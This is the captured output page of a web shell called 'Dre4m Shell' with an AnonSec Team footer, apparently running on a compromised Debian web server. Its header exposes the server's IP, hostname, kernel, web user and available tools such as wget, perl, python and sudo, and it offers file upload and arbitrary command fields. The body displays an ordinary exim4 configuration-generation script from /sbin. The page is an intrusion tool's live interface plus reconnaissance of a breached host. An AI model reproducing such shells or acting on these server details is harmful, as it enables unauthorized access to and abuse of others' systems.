Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.147.78.249
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /sbin/update-exim4.conf.template
#!/bin/bash

set -e

CONFDIR="${CONFDIR:-/etc/exim4}"
DONOTRUN='true'

UPEX4CT_outputfile="${CONFDIR}/exim4.conf.template"

usage() {
cat <<EOF
$0 - Generate exim4 configuration file template
       Options:
       -n|--nobackup - Overwrite old template, do not take backup.
       -o|--output file - write output to file instead of ${UPEX4CT_outputfile}
       -h|--help - This message.
       -r|--run - Actually do something
EOF
}

## Parse commandline
TEMP=$(getopt -n update-exim4.conf.template \
	-l nobackup,output:,help,run -- \
	+no:hr "$@")

if test "$?" != 0; then
	echo "Terminating..." >&2
	exit 1
fi

eval set -- ${TEMP}
while test "$1" != "--"; do
	case $1 in
		-h|--help)
			usage
			exit 0
		;;
		-o|--output)
			shift
			UPEX4CT_outputfile="$1"
		;;
		-n|--nobackup)
			NOBACKUP=1
		;;
		-r|--run)
			DONOTRUN='false'
		;;
	esac
	shift
done
shift

# No non-option arguments allowed.
if [ "$#" -ne 0 ]; then
	echo "No non option arguments ($@) allowed" >&2
	usage >&2
	exit 1
fi

# run-parts emulation, stolen from Branden's /etc/X11/Xsession
# Addition: Use file.rul instead if file if it exists.
run_parts () {
	# reset LC_COLLATE
	unset LANG LC_COLLATE LC_ALL

	if [ -z "$1" ]; then
		errormessage "$0: internal run_parts called without an argument"
	fi
	if [ ! -d "$1" ]; then
		errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory."
	fi
  	for F in $(ls $1 | grep -v /.svn); do
		if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then
			if [ -f "$1/$F" ] ; then
				if [ -f "$1/${F}.rul" ] ; then
					echo "$1/${F}.rul"
				else
					echo "$1/$F"
				fi
			fi
		fi
	done;
}
# also from Branden
errormessage () {
	# pretty-print messages of arbitrary length (no trailing newline)
	echo "$*" | fold -s -w ${COLUMNS:-80} >&2;
}

cat_parts() {
       if [ -z "$1" ]; then
               errormessage "$0: internal cat_parts called without an argument"
       fi
       if [ ! -d "$1" ]; then
               errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory."
       fi
       for file in $(run_parts $1); do
               echo "#####################################################"
               echo "### $file"
               echo "#####################################################"
               cat $file
               echo "#####################################################"
               echo "### end $file"
               echo "#####################################################"
       done
}

if [ "$DONOTRUN" = "true" ]; then
	errormessage "This program overwrites conffiles. Do not run unless you have consulted the manpage." >&2
	echo "Terminating..." >&2
	exit 1
fi


if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ]; then
  if [ -e "${UPEX4CT_outputfile}.bak.$$" ]; then
    echo >&2 "ERR: ${UPEX4CT_outputfile}.bak.$$ already exists, aborting"
    exit 1
  fi
fi
 
NEWTEMPLATE=$(mktemp)
if [ -f "${UPEX4CT_outputfile}" ] ; then
	chmod --reference="${UPEX4CT_outputfile}" "$NEWTEMPLATE"
else
	chmod 0644 "$NEWTEMPLATE"
fi

# generate .template. Ugly - better alternative?
SAVEWD="$(pwd)"
cd ${CONFDIR}/conf.d
for i in main acl router transport retry rewrite auth ; do
  cat_parts $i
done > "$NEWTEMPLATE"
cd "$SAVEWD"

if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ] ; then
	mv "${UPEX4CT_outputfile}" \
		"${UPEX4CT_outputfile}.bak.$$"
fi
mv "$NEWTEMPLATE" "${UPEX4CT_outputfile}"

Anon7 - 2022
AnonSec Team